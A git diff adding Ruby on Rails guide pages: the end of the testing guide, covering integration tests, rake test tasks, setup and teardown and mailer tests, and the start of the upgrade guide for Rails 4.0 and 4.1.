+As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
+
+Here's an example of multiple sessions and custom DSL in an integration test
+
+```ruby
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  test "login and browse site" do
+    # User david logs in
+    david = login(:david)
+    # User guest logs in
+    guest = login(:guest)
+
+    # Both are now available in different sessions
+    assert_equal 'Welcome david!', david.flash[:notice]
+    assert_equal 'Welcome guest!', guest.flash[:notice]
+
+    # User david can browse site
+    david.browses_site
+    # User guest can browse site as well
+    guest.browses_site
+
+    # Continue with other assertions
+  end
+
+  private
+
+    module CustomDsl
+      def browses_site
+        get "/products/all"
+        assert_response :success
+        assert assigns(:products)
+      end
+    end
+
+    def login(user)
+      open_session do |sess|
+        sess.extend(CustomDsl)
+        u = users(user)
+        sess.https!
+        sess.post "/login", username: u.username, password: u.password
+        assert_equal '/welcome', sess.path
+        sess.https!(false)
+      end
+    end
+end
+```
+
+Rake Tasks for Running your Tests
+---------------------------------
+
+You don't need to set up and run your tests by hand on a test-by-test basis.
+Rails comes with a number of commands to help in testing.
+The table below lists all commands that come along in the default Rakefile
+when you initiate a Rails project.
+
+| Tasks                   | Description |
+| ----------------------- | ----------- |
+| `rake test`             | Runs all unit, functional and integration tests. You can also simply run `rake` as Rails will run all the tests by default |
+| `rake test:controllers` | Runs all the controller tests from `test/controllers` |
+| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` |
+| `rake test:helpers`     | Runs all the helper tests from `test/helpers` |
+| `rake test:integration` | Runs all the integration tests from `test/integration` |
+| `rake test:mailers`     | Runs all the mailer tests from `test/mailers` |
+| `rake test:models`      | Runs all the model tests from `test/models` |
+| `rake test:units`       | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` |
+| `rake test:all`         | Runs all tests quickly by merging all types and not resetting db |
+| `rake test:all:db`      | Runs all tests quickly by merging all types and resetting db |
+
+
+Brief Note About `MiniTest`
+-----------------------------
+
+Ruby ships with a boat load of libraries. Ruby 1.8 provides `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing
+us to use all of the basic assertions in our tests.
+
+Ruby 1.9 introduced `MiniTest`, an updated version of `Test::Unit` which provides a backwards compatible API for `Test::Unit`. You could also use `MiniTest` in Ruby 1.8 by installing the `minitest` gem.
+
+NOTE: For more information on `Test::Unit`, refer to [test/unit Documentation](http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/)
+For more information on `MiniTest`, refer to [Minitest](http://www.ruby-doc.org/stdlib-1.9.3/libdoc/minitest/unit/rdoc/)
+
+Setup and Teardown
+------------------
+
+If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in `Posts` controller:
+
+```ruby
+require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+  # called before every single test
+  def setup
+    @post = posts(:one)
+  end
+
+  # called after every single test
+  def teardown
+    # as we are re-initializing @post before every test
+    # setting it to nil here is not essential but I hope
+    # you understand how you can use the teardown method
+    @post = nil
+  end
+
+  test "should show post" do
+    get :show, id: @post.id
+    assert_response :success
+  end
+
+  test "should destroy post" do
+    assert_difference('Post.count', -1) do
+      delete :destroy, id: @post.id
+    end
+
+    assert_redirected_to posts_path
+  end
+
+end
+```
+
+Above, the `setup` method is called before each test and so `@post` is available for each of the tests. Rails implements `setup` and `teardown` as `ActiveSupport::Callbacks`. Which essentially means you need not only use `setup` and `teardown` as methods in your tests. You could specify them by using:
+
+* a block
+* a method (like in the earlier example)
+* a method name as a symbol
+* a lambda
+
+Let's see the earlier example by specifying `setup` callback by specifying a method name as a symbol:
+
+```ruby
+require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+  # called before every single test
+  setup :initialize_post
+
+  # called after every single test
+  def teardown
+    @post = nil
+  end
+
+  test "should show post" do
+    get :show, id: @post.id
+    assert_response :success
+  end
+
+  test "should update post" do
+    patch :update, id: @post.id, post: {}
+    assert_redirected_to post_path(assigns(:post))
+  end
+
+  test "should destroy post" do
+    assert_difference('Post.count', -1) do
+      delete :destroy, id: @post.id
+    end
+
+    assert_redirected_to posts_path
+  end
+
+  private
+
+    def initialize_post
+      @post = posts(:one)
+    end
+end
+```
+
+Testing Routes
+--------------
+
+Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default `show` action of `Posts` controller above should look like:
+
+```ruby
+test "should route to post" do
+  assert_routing '/posts/1', {controller: "posts", action: "show", id: "1"}
+end
+```
+
+Testing Your Mailers
+--------------------
+
+Testing mailer classes requires some specific tools to do a thorough job.
+
+### Keeping the Postman in Check
+
+Your mailer classes - like every other part of your Rails application - should be tested to ensure that it is working as expected.
+
+The goals of testing your mailer classes are to ensure that:
+
+* emails are being processed (created and sent)
+* the email content is correct (subject, sender, body, etc)
+* the right emails are being sent at the right times
+
+#### From All Sides
+
+There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
+
+### Unit Testing
+
+In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
+
+#### Revenge of the Fixtures
+
+For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within `test/fixtures` directly corresponds to the name of the mailer. So, for a mailer named `UserMailer`, the fixtures should reside in `test/fixtures/user_mailer` directory.
+
+When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.
+
+#### The Basic Test Case
+
+Here's a unit test to test a mailer named `UserMailer` whose action `invite` is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an `invite` action.
+
+```ruby
+require 'test_helper'
+
+class UserMailerTest < ActionMailer::TestCase
+  test "invite" do
+    # Send the email, then test that it got queued
+    email = UserMailer.create_invite('me at example.com',
+                                     'friend at example.com', Time.now).deliver
+    assert_not ActionMailer::Base.deliveries.empty?
+
+    # Test the body of the sent email contains what we expect it to
+    assert_equal ['me at example.com'], email.from
+    assert_equal ['friend at example.com'], email.to
+    assert_equal 'You have been invited by me at example.com', email.subject
+    assert_equal read_fixture('invite').join, email.body.to_s
+  end
+end
+```
+
+In the test we send the email and store the returned object in the `email`
+variable. We then ensure that it was sent (the first assert), then, in the
+second batch of assertions, we ensure that the email does indeed contain what we
+expect. The helper `read_fixture` is used to read in the content from this file.
+
+Here's the content of the `invite` fixture:
+
+```
+Hi friend at example.com,
+
+You have been invited.
+
+Cheers!
+```
+
+This is the right time to understand a little more about writing tests for your
+mailers. The line `ActionMailer::Base.delivery_method = :test` in
+`config/environments/test.rb` sets the delivery method to test mode so that
+email will not actually be delivered (useful to avoid spamming your users while
+testing) but instead it will be appended to an array
+(`ActionMailer::Base.deliveries`).
+
+NOTE: The `ActionMailer::Base.deliveries` array is only reset automatically in
+`ActionMailer::TestCase` tests. If you want to have a clean slate outside Action
+Mailer tests, you can reset it manually with:
+`ActionMailer::Base.deliveries.clear`
+
+### Functional Testing
+
+Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the  [...]
+
+```ruby
+require 'test_helper'
+
+class UserControllerTest < ActionController::TestCase
+  test "invite friend" do
+    assert_difference 'ActionMailer::Base.deliveries.size', +1 do
+      post :invite_friend, email: 'friend at example.com'
+    end
+    invite_email = ActionMailer::Base.deliveries.last
+
+    assert_equal "You have been invited by me at example.com", invite_email.subject
+    assert_equal 'friend at example.com', invite_email.to[0]
+    assert_match(/Hi friend at example.com/, invite_email.body)
+  end
+end
+```
+
+Testing helpers
+---------------
+
+In order to test helpers, all you need to do is check that the output of the
+helper method matches what you'd expect. Tests related to the helpers are
+located under the `test/helpers` directory. Rails provides a generator which
+generates both the helper and the test file:
+
+```bash
+$ bin/rails generate helper User
+      create  app/helpers/user_helper.rb
+      invoke  test_unit
+      create    test/helpers/user_helper_test.rb
+```
+
+The generated test file contains the following code:
+
+```ruby
+require 'test_helper'
+
+class UserHelperTest < ActionView::TestCase
+end
+```
+
+A helper is just a simple module where you can define methods which are
+available into your views. To test the output of the helper's methods, you just
+have to use a mixin like this:
+
+```ruby
+class UserHelperTest < ActionView::TestCase
+  include UserHelper
+
+  test "should return the user name" do
+    # ...
+  end
+end
+```
+
+Moreover, since the test class extends from `ActionView::TestCase`, you have
+access to Rails' helper methods such as `link_to` or `pluralize`.
+
+Other Testing Approaches
+------------------------
+
+The built-in `test/unit` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
+
+* [NullDB](http://avdi.org/projects/nulldb/), a way to speed up testing by avoiding database use.
+* [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), a replacement for fixtures.
+* [Machinist](https://github.com/notahat/machinist/tree/master), another replacement for fixtures.
+* [Fixture Builder](https://github.com/rdy/fixture_builder), a tool that compiles Ruby factories into fixtures before a test run.
+* [MiniTest::Spec Rails](https://github.com/metaskills/minitest-spec-rails), use the MiniTest::Spec DSL within your rails tests.
+* [Shoulda](http://www.thoughtbot.com/projects/shoulda), an extension to `test/unit` with additional helpers, macros, and assertions.
+* [RSpec](http://relishapp.com/rspec), a behavior-driven development framework
diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md
new file mode 100644
index 0000000..f0ed391
--- /dev/null
+++ b/guides/source/upgrading_ruby_on_rails.md
@@ -0,0 +1,899 @@
+A Guide for Upgrading Ruby on Rails
+===================================
+
+This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.
+
+General Advice
+--------------
+
+Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance out several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.
+
+### Test Coverage
+
+The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good _before_ you start an upgrade.
+
+### Ruby Versions
+
+Rails generally stays close to the latest released Ruby version when it's released:
+
+* Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially. You should upgrade as early as possible.
+* Rails 3.2.x is the last branch to support Ruby 1.8.7.
+* Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer.
+
+TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.
+
+Upgrading from Rails 4.0 to Rails 4.1
+-------------------------------------
+
+### CSRF protection from remote `<script>` tags
+
+Or, "whaaat my tests are failing!!!?"
+
+Cross-site request forgery (CSRF) protection now covers GET requests with
+JavaScript responses, too. That prevents a third-party site from referencing
+your JavaScript URL and attempting to run it to extract sensitive data.
+
+This means that your functional and integration tests that use
+
+```ruby
+get :index, format: :js
+```
+
+will now trigger CSRF protection. Switch to
+
+```ruby
+xhr :get, :index, format: :js
+```
+
+to explicitly test an XmlHttpRequest.
+
+If you really mean to load JavaScript from remote `<script>` tags, skip CSRF
+protection on that action.
+
+### Spring
+
+If you want to use Spring as your application preloader you need to:
+
+1. Add `gem 'spring', group: :development` to your `Gemfile`.
+2. Install spring using `bundle install`.
+3. Springify your binstubs with `bundle exec spring binstub --all`.
+
+NOTE: User defined rake tasks will run in the `development` environment by
+default. If you want them to run in other environments consult the
+[Spring README](https://github.com/rails/spring#rake).
+
+### `config/secrets.yml`
+
+If you want to use the new `secrets.yml` convention to store your application's
+secrets, you need to:
+
+1. Create a `secrets.yml` file in your `config` folder with the following content:
+
+    ```yaml
+    development:
+      secret_key_base:
+
+    test:
+      secret_key_base:
+
+    production:
+      secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+    ```
+
+2. Use your existing `secret_key_base` from the `secret_token.rb` initializer to
+   set the SECRET_KEY_BASE environment variable for whichever users run the Rails
+   app in production mode. Alternately, you can simply copy the existing 
+   `secret_key_base` from the `secret_token.rb` initializer to `secrets.yml` 
+   under the `production` section, replacing '<%= ENV["SECRET_KEY_BASE"] %>'.
+   
+3. Remove the `secret_token.rb` initializer.
+
+4. Use `rake secret` to generate new keys for the `development` and `test` sections.
+
+5. Restart your server.
+
+### Changes to test helper
+
+If your test helper contains a call to
+`ActiveRecord::Migration.check_pending!` this can be removed. The check
+is now done automatically when you `require 'test_help'`, although
+leaving this line in your helper is not harmful in any way.
+
+### Cookies serializer
+
+Applications created before Rails 4.1 uses `Marshal` to serialize cookie values into
+the signed and encrypted cookie jars. If you want to use the new `JSON`-based format
+in your application, you can add an initializer file with the following content:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = :hybrid
+```
+
+This would transparently migrate your existing `Marshal`-serialized cookies into the
+new `JSON`-based format.
+
+When using the `:json` or `:hybrid` serializer, you should beware that not all
+Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects
+will be serialized as strings, and `Hash`es will have their keys stringified.
+
+```ruby
+class CookiesController < ApplicationController
+  def set_cookie
+    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+    redirect_to action: 'read_cookie'
+  end
+
+  def read_cookie
+    cookies.encrypted[:expiration_date] # => "2014-03-20"
+  end
+end
+```
+
+It's advisable that you only store simple data (strings and numbers) in cookies.
+If you have to store complex objects, you would need to handle the conversion
+manually when reading the values on subsequent requests.
+
+If you use the cookie session store, this would apply to the `session` and
+`flash` hash as well.
+
+### Flash structure changes
+
+Flash message keys are
+[normalized to strings](https://github.com/rails/rails/commit/a668beffd64106a1e1fedb71cc25eaaa11baf0c1). They
+can still be accessed using either symbols or strings. Lopping through the flash
+will always yield string keys:
+
+```ruby
+flash["string"] = "a string"
+flash[:symbol] = "a symbol"
+
+# Rails < 4.1
+flash.keys # => ["string", :symbol]
+
+# Rails >= 4.1
+flash.keys # => ["string", "symbol"]
+```
+
+Make sure you are comparing Flash message keys against strings.
+
+### Changes in JSON handling
+
+There are a few major changes related to JSON handling in Rails 4.1.
+
+#### MultiJSON removal
+
+MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576)
+and has been removed from Rails.
+
+If your application currently depend on MultiJSON directly, you have a few options:
+
+1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future
+
+2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead.
+
+WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with
+`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and
+deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.0.0/libdoc/json/rdoc/JSON.html#method-i-load).
+
+#### JSON gem compatibility
+
+Historically, Rails had some compatibility issues with the JSON gem. Using
+`JSON.generate` and `JSON.dump` inside a Rails application could produce
+unexpected errors.
+
+Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The
+JSON gem APIs will function as normal, but they will not have access to any
+Rails-specific features. For example:
+
+```ruby
+class FooBar
+  def as_json(options = nil)
+    { foo: 'bar' }
+  end
+end
+
+>> FooBar.new.to_json # => "{\"foo\":\"bar\"}"
+>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\""
+```
+
+#### New JSON encoder
+
+The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON
+gem. For most applications, this should be a transparent change. However, as
+part of the rewrite, the following features have been removed from the encoder:
+
+1. Circular data structure detection
+2. Support for the `encode_json` hook
+3. Option to encode `BigDecimal` objects as numbers instead of strings
+
+If your application depends on one of these features, you can get them back by
+adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder)
+gem to your Gemfile.
+
+### Usage of `return` within inline callback blocks
+
+Previously, Rails allowed inline callback blocks to use `return` this way:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+  before_save { return false } # BAD
+end
+```
+
+This behaviour was never intentionally supported. Due to a change in the internals
+of `ActiveSupport::Callbacks`, this is no longer allowed in Rails 4.1. Using a
+`return` statement in an inline callback block causes a `LocalJumpError` to
+be raised when the callback is executed.
+
+Inline callback blocks using `return` can be refactored to evaluate to the
+returned value:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+  before_save { false } # GOOD
+end
+```
+
+Alternatively, if `return` is preferred it is recommended to explicitly define
+a method:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+  before_save :before_save_callback # GOOD
+
+  private
+    def before_save_callback
+      return false
+    end
+end
+```
+
+This change applies to most places in Rails where callbacks are used, including
+Active Record and Active Model callbacks, as well as filters in Action
+Controller (e.g. `before_action`).
+
+See [this pull request](https://github.com/rails/rails/pull/13271) for more
+details.
+
+### Methods defined in Active Record fixtures
+
+Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods
+defined in a fixture will not be available in other fixtures.
+
+Helper methods that are used in multiple fixtures should be defined on modules
+included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in
+`test_helper.rb`.
+
+```ruby
+class FixtureFileHelpers
+  def file_sha(path)
+    Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+  end
+end
+ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers
+```
+
+### I18n enforcing available locales
+
+Rails 4.1 now defaults the I18n option `enforce_available_locales` to `true`,
+meaning that it will make sure that all locales passed to it must be declared in
+the `available_locales` list.
+
+To disable it (and allow I18n to accept *any* locale option) add the following
+configuration to your application:
+
+```ruby
+config.i18n.enforce_available_locales = false
+```
+
+Note that this option was added as a security measure, to ensure user input could
+not be used as locale information unless previously known, so it's recommended not
+to disable this option unless you have a strong reason for doing so.
+
+### Mutator methods called on Relation
+
+`Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
+to an `Array` by calling `#to_a` before using these methods.
+
+It intends to prevent odd bugs and confusion in code that call mutator
+methods directly on the `Relation`.
+
+```ruby
+# Instead of this
+Author.where(name: 'Hank Moody').compact!
+
+# Now you have to do this
+authors = Author.where(name: 'Hank Moody').to_a
+authors.compact!
+```
+
+### Changes on Default Scopes
+
+Default scopes are no longer overriden by chained conditions.
+
+In previous versions when you defined a `default_scope` in a model
+it was overriden by chained conditions in the same field. Now it
+is merged like any other scope.
+
+Before:
+
+```ruby
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+After:
+
+```ruby
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+```
+
+To get the previous behavior it is needed to explicitly remove the
+`default_scope` condition using `unscoped`, `unscope`, `rewhere` or
+`except`.
+
+```ruby
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { unscope(where: :state).where(state: 'active') }
+  scope :inactive, -> { rewhere state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.inactive
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+### Rendering content from string
+
+Rails 4.1 introduces `:plain`, `:html`, and `:body` options to `render`. Those
+options are now the preferred way to render string-based content, as it allows
+you to specify which content type you want the response sent as.
+
+* `render :plain` will set the content type to `text/plain`
+* `render :html` will set the content type to `text/html`
+* `render :body` will *not* set the content type header.
+
+From the security standpoint, if you don't expect to have any markup in your
+response body, you should be using `render :plain` as most browsers will escape
+unsafe content in the response for you.
+
+We will be deprecating the use of `render :text` in a future version. So please
+start using the more precise `:plain:`, `:html`, and `:body` options instead.
+Using `render :text` may pose a security risk, as the content is sent as
+`text/html`.
+
+### PostgreSQL json and hstore datatypes
+
+Rails 4.1 will map `json` and `hstore` columns to a string-keyed Ruby `Hash`.
+In earlier versions a `HashWithIndifferentAccess` was used. This means that
+symbol access is no longer supported. This is also the case for
+`store_accessors` based on top of `json` or `hstore` columns. Make sure to use
+string keys consistently.
+
+Upgrading from Rails 3.2 to Rails 4.0
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.
+
+The following changes are meant for upgrading your application to Rails 4.0.
+
+### HTTP PATCH
+
+Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful
+resource is declared in `config/routes.rb`. The `update` action is still used,
+and `PUT` requests will continue to be routed to the `update` action as well.
+So, if you're using only the standard RESTful routes, no changes need to be made:
+
+```ruby
+resources :users
+```
+
+```erb
+<%= form_for @user do |f| %>
+```
+
+```ruby
+class UsersController < ApplicationController
+  def update
+    # No change needed; PATCH will be preferred, and PUT will still work.
+  end
+end
+```
+
+However, you will need to make a change if you are using `form_for` to update
+a resource in conjunction with a custom route using the `PUT` HTTP method:
+
+```ruby
+resources :users, do
+  put :update_name, on: :member
+end
+```
+
+```erb
+<%= form_for [ :update_name, @user ] do |f| %>
+```
+
+```ruby
+class UsersController < ApplicationController
+  def update_name
+    # Change needed; form_for will try to use a non-existent PATCH route.
+  end
+end
+```
+
+If the action is not being used in a public API and you are free to change the
+HTTP method, you can update your route to use `patch` instead of `put`:
+
+`PUT` requests to `/users/:id` in Rails 4 get routed to `update` as they are
+today. So, if you have an API that gets real PUT requests it is going to work.
+The router also routes `PATCH` requests to `/users/:id` to the `update` action.
+
+```ruby
+resources :users do
+  patch :update_name, on: :member
+end
+```
+
+If the action is being used in a public API and you can't change to HTTP method
+being used, you can update your form to use the `PUT` method instead:
+
+```erb
+<%= form_for [ :update_name, @user ], method: :put do |f| %>
+```
+
+For more on PATCH and why this change was made, see [this post](http://weblog.rubyonrails.org/2012/2/25/edge-rails-patch-is-the-new-primary-http-method-for-updates/)
+on the Rails blog.
+
+#### A note about media types
+
+The errata for the `PATCH` verb [specifies that a 'diff' media type should be
+used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One
+such format is [JSON Patch](http://tools.ietf.org/html/rfc6902). While Rails
+does not support JSON Patch natively, it's easy enough to add support:
+
+```
+# in your controller
+def update
+  respond_to do |format|
+    format.json do
+      # perform a partial update
+      @post.update params[:post]
+    end
+
+    format.json_patch do
+      # perform sophisticated change
+    end
+  end
+end
+
+# In config/initializers/json_patch.rb:
+Mime::Type.register 'application/json-patch+json', :json_patch
+```
+
+As JSON Patch was only recently made into an RFC, there aren't a lot of great
+Ruby libraries yet. Aaron Patterson's
+[hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have
+full support for the last few changes in the specification.
+
+### Gemfile
+
+Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that
+line from your Gemfile when upgrading. You should also update your application
+file (in `config/application.rb`):
+
+```ruby
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(:default, Rails.env)
+```
+
+### vendor/plugins
+
+Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+### Active Record
+
+* Rails 4.0 has removed the identity map from Active Record, due to [some inconsistencies with associations](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: `config.active_record.identity_map`.
+
+* The `delete` method in collection associations can now receive `Fixnum` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them.
+
+* In Rails 4.0 when a column or a table is renamed the related indexes are also renamed. If you have migrations which rename the indexes, they are no longer needed.
+
+* Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`.
+
+* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path.
+
+* If you are not using Protected Attributes, you can remove any options related to
+this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options.
+
+* Rails 4.0 requires that scopes use a callable object such as a Proc or lambda:
+
+```ruby
+  scope :active, where(active: true)
+
+  # becomes
+  scope :active, -> { where active: true }
+```
+
+* Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`.
+
+* Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`.
+
+* Rails 4.0 has deprecated the old-style hash based finder API. This means that
+  methods which previously accepted "finder options" no longer do.
+
+* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated.
+  Here's how you can handle the changes:
+
+      * `find_all_by_...`           becomes `where(...)`.
+      * `find_last_by_...`          becomes `where(...).last`.
+      * `scoped_by_...`             becomes `where(...)`.
+      * `find_or_initialize_by_...` becomes `find_or_initialize_by(...)`.
+      * `find_or_create_by_...`     becomes `find_or_create_by(...)`.
+
+* Note that `where(...)` returns a relation, not an array like the old finders. If you require an `Array`, use `where(...).to_a`.
+
+* These equivalent methods may not execute the same SQL as the previous implementation.
+
+* To re-enable the old finders, you can use the [activerecord-deprecated_finders gem](https://github.com/rails/activerecord-deprecated_finders).
+
+### Active Resource
+
+Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your Gemfile.
+
+### Active Model
+
+* Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`. Now when confirmation validations fail, the error will be attached to `:#{attribute}_confirmation` instead of `attribute`.
+
+* Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behaviour. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file:
+
+```ruby
+# Disable root element in JSON by default.
+# ActiveSupport.on_load(:active_record) do
+#   self.include_root_in_json = false
+# end
+```
+
+### Action Pack
+
+* Rails 4.0 introduces `ActiveSupport::KeyGenerator` and uses this as a base from which to generate and verify signed cookies (among other things). Existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`.
+
+```ruby
+  # config/initializers/secret_token.rb
+  Myapp::Application.config.secret_token = 'existing secret token'
+  Myapp::Application.config.secret_key_base = 'new secret key base'
+```
+
+Please note that you should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new `secret_key_base` in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing `secret_token` in place, not set the new `secret_key_base`, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise [...]
+
+If you are relying on the ability for external applications or Javascript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set `secret_key_base` until you have decoupled these concerns.
+
+* Rails 4.0 encrypts the contents of cookie-based sessions if `secret_key_base` has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty.
+
+Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies.
+
+* Rails 4.0 removed the `ActionController::Base.asset_path` option. Use the assets pipeline feature.
+
+* Rails 4.0 has deprecated `ActionController::Base.page_cache_extension` option. Use `ActionController::Base.default_static_extension` instead.
+
+* Rails 4.0 has removed Action and Page caching from Action Pack. You will need to add the `actionpack-action_caching` gem in order to use `caches_action` and the `actionpack-page_caching` to use `caches_pages` in your controllers.
+
+* Rails 4.0 has removed the XML parameters parser. You will need to add the `actionpack-xml_parser` gem if you require this feature.
+
+* Rails 4.0 changes the default memcached client from `memcache-client` to `dalli`. To upgrade, simply add `gem 'dalli'` to your `Gemfile`.
+
+* Rails 4.0 deprecates the `dom_id` and `dom_class` methods in controllers (they are fine in views). You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature.
+
+* Rails 4.0 deprecates the `:confirm` option for the `link_to` helper. You should
+instead rely on a data attribute (e.g. `data: { confirm: 'Are you sure?' }`).
+This deprecation also concerns the helpers based on this one (such as `link_to_if`
+or `link_to_unless`).
+
